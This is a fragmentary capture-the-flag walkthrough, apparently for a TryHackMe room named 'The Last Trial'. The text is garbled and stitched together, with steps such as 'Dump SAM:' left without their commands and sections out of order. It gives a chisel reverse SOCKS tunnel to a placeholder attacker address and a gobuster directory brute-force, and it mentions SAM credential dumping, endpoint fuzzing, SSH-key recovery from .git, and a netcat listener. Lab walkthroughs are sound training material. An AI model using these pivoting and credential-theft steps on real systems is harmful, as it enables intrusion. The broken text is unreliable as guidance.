HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\LastTrial Retrieve it with:

Dump SAM:

./chisel client YOUR_IP:8000 R:socks Use proxychains to SSH into Machine 2:

gobuster dir -u http://10.10.10.10 -w /usr/share/wordlists/dirb/common.txt -x php,txt,zip Look for /dev/ , /notes/ , or a .git/ directory. The last trial hides an SSH key in a .git cache. Step 3: The "Hidden API" Endpoint One element unique to this room is a hidden GraphQL endpoint at /api/graphql . This is not documented. Use ffuf to fuzz for API endpoints:

So fire up your Kali VM, set your netcat listener, and take on The Last Trial. When you finally see that final hash accepted, you’ll have earned every bit of the verified title. This article is for educational purposes only. Always follow TryHackMe’s rules and do not share flags publicly. The techniques described apply to this specific room and should not be used on unauthorized systems.